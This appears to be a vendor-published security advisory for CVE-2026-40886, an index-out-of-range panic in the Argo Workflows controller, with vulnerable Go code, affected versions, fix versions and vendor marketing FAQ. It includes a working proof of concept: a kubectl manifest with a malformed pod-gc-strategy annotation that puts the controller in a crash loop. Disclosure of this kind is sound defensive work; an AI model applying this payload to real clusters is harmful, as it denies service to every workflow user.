CVE-2026-40886

An unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.

Details

podGCFromPod() splits the annotation value on "/" and unconditionally accesses parts[1]:

func podGCFromPod(pod *apiv1.Pod) wfv1.PodGC {
    if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok {
        parts := strings.Split(val, "/")
        return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]}
    }
    return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone}
}

If the annotation value contains no "/", parts has length 1 and parts[1] panics with index out of range.

The code was introduced in #14129 and affects versions:

• 3.6.x: v3.6.5 through v3.6.19 (backport in #14263)
• 3.7.x: v3.7.0-rc1 through v3.7.12
• 4.x: v4.0.0-rc1 through v4.0.3
• Not affected: v3.6.4 and earlier

PoC

Apply this workflow to a cluster running the Argo Workflows controller:

kubectl apply -n argo -f - <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  name: crash-podgc
spec:
  entrypoint: main
  serviceAccountName: default
  podGC:
    strategy: OnPodCompletion
  podMetadata:
    annotations:
      workflows.argoproj.io/pod-gc-strategy: "NoSlash"
  templates:
    - name: main
      container:
        image: alpine:3.18
        command: [echo, "hello"]
EOF

Within seconds the controller crashes. The controller pod will show CrashLoopBackOff with increasing restart count. Controller logs show:

panic: runtime error: index out of range [1] with length 1

goroutine 291 [running]:
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).commonPodEvent(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).addPodEvent(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246

Recovery requires deleting the poisoned workflow:

kubectl delete workflow -n argo crash-podgc

Any user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only create permission on Workflow resources, which is the baseline permission for any Argo Workflows user.

CVE-2026-40886 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.0.5, 3.7.14); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-40886? CVE-2026-40886 is a high-severity security vulnerability in github.com/argoproj/argo-workflows/v4 (go), affecting versions >= 4.0.0, < 4.0.5. It is fixed in 4.0.5, 3.7.14.
2. How severe is CVE-2026-40886? CVE-2026-40886 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2026-40886?
   • github.com/argoproj/argo-workflows/v4 (go) (versions >= 4.0.0, < 4.0.5)
   • github.com/argoproj/argo-workflows/v3 (go) (versions >= 3.7.0, < 3.7.14)
4. Is there a fix for CVE-2026-40886? Yes. CVE-2026-40886 is fixed in 4.0.5, 3.7.14. Upgrade to this version or later.
5. Is CVE-2026-40886 exploitable, and should I be worried? Whether CVE-2026-40886 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-40886 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-40886?
   • Upgrade github.com/argoproj/argo-workflows/v4 to 4.0.5 or later
   • Upgrade github.com/argoproj/argo-workflows/v3 to 3.7.14 or later